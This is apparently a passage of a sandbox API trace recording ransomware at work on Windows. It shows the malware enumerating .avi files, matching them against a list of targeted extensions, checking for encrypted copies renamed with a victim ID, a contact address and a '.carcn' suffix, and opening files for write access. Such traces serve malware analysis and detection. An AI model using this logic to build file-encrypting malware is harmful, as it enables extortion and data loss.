lpString2="avi") returned -1 [0255.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0255.270] lstrlenW (lpString=".dbf") returned 4 [0255.270] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0255.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0255.270] lstrlenW (lpString=".1cd") returned 4 [0255.270] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0255.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0255.270] lstrlenW (lpString=".jpg") returned 4 [0255.270] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0255.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0255.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0255.270] lstrlenW (lpString=".doc") returned 4 [0255.270] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0255.270] lstrlenW (lpString=".docx") returned 5 [0255.270] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0255.271] lstrlenW (lpString=".pdf") returned 4 [0255.271] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0255.271] lstrlenW (lpString=".xls") returned 4 [0255.271] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0255.271] lstrlenW (lpString=".xlsx") returned 5 [0255.271] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0255.271] lstrlenW (lpString=".ppt") returned 4 [0255.271] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0255.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0255.271] lstrlenW (lpString=".zip") returned 4 [0255.271] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0255.271] lstrlenW (lpString=".rar") returned 4 [0255.271] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0255.271] lstrlenW (lpString=".bz2") returned 4 [0255.271] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0255.271] lstrlenW (lpString=".7z") returned 3 [0255.271] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0255.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0255.271] lstrlenW (lpString=".dbf") returned 4 [0255.271] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0255.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0255.271] lstrlenW (lpString=".1cd") returned 4 [0255.271] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0255.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0255.271] lstrlenW (lpString=".jpg") returned 4 [0255.271] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0255.271] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0255.271] lstrlenW (lpString="boxed-delete.avi") returned 16 [0255.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0255.272] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=48936) returned 1 [0255.272] CloseHandle (hObject=0x38c) returned 1 [0255.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0255.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.272] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0255.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0255.272] lstrlenW (lpString=".doc") returned 4 [0255.272] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0255.272] lstrlenW (lpString=".docx") returned 5 [0255.272] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0255.272] lstrlenW (lpString=".pdf") returned 4 [0255.272] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0255.272] lstrlenW (lpString=".xls") returned 4 [0255.272] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0255.272] lstrlenW (lpString=".xlsx") returned 5 [0255.272] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0255.273] lstrlenW (lpString=".ppt") returned 4 [0255.273] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0255.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0255.273] lstrlenW (lpString=".zip") returned 4 [0255.273] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0255.273] lstrlenW (lpString=".rar") returned 4 [0255.273] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0255.273] lstrlenW (lpString=".bz2") returned 4 [0255.273] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0255.273] lstrlenW (lpString=".7z") returned 3 [0255.273] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0255.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0255.273] lstrlenW (lpString=".dbf") returned 4 [0255.273] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0255.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0255.273] lstrlenW (lpString=".1cd") returned 4 [0255.273] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0255.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0255.273] lstrlenW (lpString=".jpg") returned 4 [0255.273] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0255.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0255.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0255.273] lstrlenW (lpString=".doc") returned 4 [0255.273] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0255.273] lstrlenW (lpString=".docx") returned 5 [0255.273] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0255.273] lstrlenW (lpString=".pdf") returned 4 [0255.273] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0255.273] lstrlenW (lpString=".xls") returned 4 [0255.274] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0255.274] lstrlenW (lpString=".xlsx") returned 5 [0255.274] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0255.274] lstrlenW (lpString=".ppt") returned 4 [0255.274] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0255.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0255.274] lstrlenW (lpString=".zip") returned 4 [0255.274] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0255.274] lstrlenW (lpString=".rar") returned 4 [0255.274] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0255.274] lstrlenW (lpString=".bz2") returned 4 [0255.274] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0255.274] lstrlenW (lpString=".7z") returned 3 [0255.274] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0255.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0255.274] lstrlenW (lpString=".dbf") returned 4 [0255.274] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0255.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0255.274] lstrlenW (lpString=".1cd") returned 4 [0255.274] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0255.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0255.274] lstrlenW (lpString=".jpg") returned 4 [0255.274] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0255.274] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0255.274] lstrlenW (lpString="boxed-join.avi") returned 14 [0255.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0255.275] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=46622) returned 1 [0255.275] CloseHandle (hObject=0x38c) returned 1 [0255.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0255.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.281] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0255.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0255.281] lstrlenW (lpString=".doc") returned 4 [0255.281] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0255.281] lstrlenW (lpString=".docx") returned 5 [0255.281] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0255.281] lstrlenW (lpString=".pdf") returned 4 [0255.281] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0255.281] lstrlenW (lpString=".xls") returned 4 [0255.281] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0255.281] lstrlenW (lpString=".xlsx") returned 5 [0255.281] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0255.281] lstrlenW (lpString=".ppt") returned 4 [0255.281] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0255.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0255.281] lstrlenW (lpString=".zip") returned 4 [0255.281] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0255.281] lstrlenW (lpString=".rar") returned 4 [0255.281] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0255.281] lstrlenW (lpString=".bz2") returned 4 [0255.281] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0255.281] lstrlenW (lpString=".7z") returned 3 [0255.281] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0255.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0255.281] lstrlenW (lpString=".dbf") returned 4 [0255.281] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0255.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0255.281] lstrlenW (lpString=".1cd") returned 4 [0255.282] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0255.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0255.282] lstrlenW (lpString=".jpg") returned 4 [0255.282] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0255.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0255.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0255.282] lstrlenW (lpString=".doc") returned 4 [0255.282] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0255.282] lstrlenW (lpString=".docx") returned 5 [0255.282] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0255.282] lstrlenW (lpString=".pdf") returned 4 [0255.282] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0255.282] lstrlenW (lpString=".xls") returned 4 [0255.282] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0255.282] lstrlenW (lpString=".xlsx") returned 5 [0255.282] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0255.282] lstrlenW (lpString=".ppt") returned 4 [0255.282] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0255.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0255.282] lstrlenW (lpString=".zip") returned 4 [0255.282] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0255.282] lstrlenW (lpString=".rar") returned 4 [0255.282] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0255.282] lstrlenW (lpString=".bz2") returned 4 [0255.282] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0255.282] lstrlenW (lpString=".7z") returned 3 [0255.282] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0255.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0255.282] lstrlenW (lpString=".dbf") returned 4 [0255.282] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0255.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0255.283] lstrlenW (lpString=".1cd") returned 4 [0255.283] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0255.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0255.283] lstrlenW (lpString=".jpg") returned 4 [0255.283] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0255.283] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0255.283] lstrlenW (lpString="boxed-split.avi") returned 15 [0255.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0255.283] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=84190) returned 1 [0255.283] CloseHandle (hObject=0x38c) returned 1 [0255.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0255.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0255.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0255.284] lstrlenW (lpString=".doc") returned 4 [0255.284] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0255.284] lstrlenW (lpString=".docx") returned 5 [0255.284] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0255.284] lstrlenW (lpString=".pdf") returned 4 [0255.284] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0255.284] lstrlenW (lpString=".xls") returned 4 [0255.284] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0255.284] lstrlenW (lpString=".xlsx") returned 5 [0255.284] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0255.284] lstrlenW (lpString=".ppt") returned 4 [0255.284] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0255.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0255.284] lstrlenW (lpString=".zip") returned 4 [0255.284] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0255.284] lstrlenW (lpString=".rar") returned 4 [0255.284] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0255.284] lstrlenW (lpString=".bz2") returned 4 [0255.284] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0255.284] lstrlenW (lpString=".7z") returned 3 [0255.284] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0255.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0255.284] lstrlenW (lpString=".dbf") returned 4 [0255.284] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0255.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0255.284] lstrlenW (lpString=".1cd") returned 4 [0255.284] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0255.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0255.284] lstrlenW (lpString=".jpg") returned 4 [0255.285] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0255.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0255.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0255.285] lstrlenW (lpString=".doc") returned 4 [0255.285] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0255.285] lstrlenW (lpString=".docx") returned 5 [0255.285] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0255.285] lstrlenW (lpString=".pdf") returned 4 [0255.285] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0255.285] lstrlenW (lpString=".xls") returned 4 [0255.285] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0255.285] lstrlenW (lpString=".xlsx") returned 5 [0255.285] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0255.285] lstrlenW (lpString=".ppt") returned 4 [0255.285] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0255.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0255.285] lstrlenW (lpString=".zip") returned 4 [0255.285] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0255.285] lstrlenW (lpString=".rar") returned 4 [0255.285] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0255.285] lstrlenW (lpString=".bz2") returned 4 [0255.285] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0255.285] lstrlenW (lpString=".7z") returned 3 [0255.285] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0255.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0255.285] lstrlenW (lpString=".dbf") returned 4 [0255.285] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0255.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0255.285] lstrlenW (lpString=".1cd") returned 4 [0255.285] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0255.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0255.285] lstrlenW (lpString=".jpg") returned 4 [0255.285] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0255.286] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0255.286] lstrlenW (lpString="correct.avi") returned 11 [0255.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0255.286] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=180172) returned 1 [0255.286] CloseHandle (hObject=0x38c) returned 1 [0255.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0255.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0255.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0255.286] lstrlenW (lpString=".doc") returned 4 [0255.286] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0255.286] lstrlenW (lpString=".docx") returned 5 [0255.286] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0255.286] lstrlenW (lpString=".pdf") returned 4 [0255.287] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0255.287] lstrlenW (lpString=".xls") returned 4 [0255.287] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0255.287] lstrlenW (lpString=".xlsx") returned 5 [0255.287] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0255.287] lstrlenW (lpString=".ppt") returned 4 [0255.287] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0255.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0255.287] lstrlenW (lpString=".zip") returned 4 [0255.287] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0255.287] lstrlenW (lpString=".rar") returned 4 [0255.287] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0255.287] lstrlenW (lpString=".bz2") returned 4 [0255.287] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0255.287] lstrlenW (lpString=".7z") returned 3 [0255.287] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0255.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0255.287] lstrlenW (lpString=".dbf") returned 4 [0255.287] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0255.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0255.287] lstrlenW (lpString=".1cd") returned 4 [0255.287] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0255.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0255.287] lstrlenW (lpString=".jpg") returned 4 [0255.287] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0255.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0255.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0255.287] lstrlenW (lpString=".doc") returned 4 [0255.287] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0255.287] lstrlenW (lpString=".docx") returned 5 [0255.287] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0255.288] lstrlenW (lpString=".pdf") returned 4 [0255.288] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0255.288] lstrlenW (lpString=".xls") returned 4 [0255.288] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0255.288] lstrlenW (lpString=".xlsx") returned 5 [0255.288] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0255.288] lstrlenW (lpString=".ppt") returned 4 [0255.288] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0255.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0255.288] lstrlenW (lpString=".zip") returned 4 [0255.288] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0255.288] lstrlenW (lpString=".rar") returned 4 [0255.288] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0255.288] lstrlenW (lpString=".bz2") returned 4 [0255.288] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0255.288] lstrlenW (lpString=".7z") returned 3 [0255.288] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0255.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0255.288] lstrlenW (lpString=".dbf") returned 4 [0255.288] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0255.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0255.288] lstrlenW (lpString=".1cd") returned 4 [0255.288] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0255.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0255.288] lstrlenW (lpString=".jpg") returned 4 [0255.288] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0255.288] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0255.288] lstrlenW (lpString="delete.avi") returned 10 [0255.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common 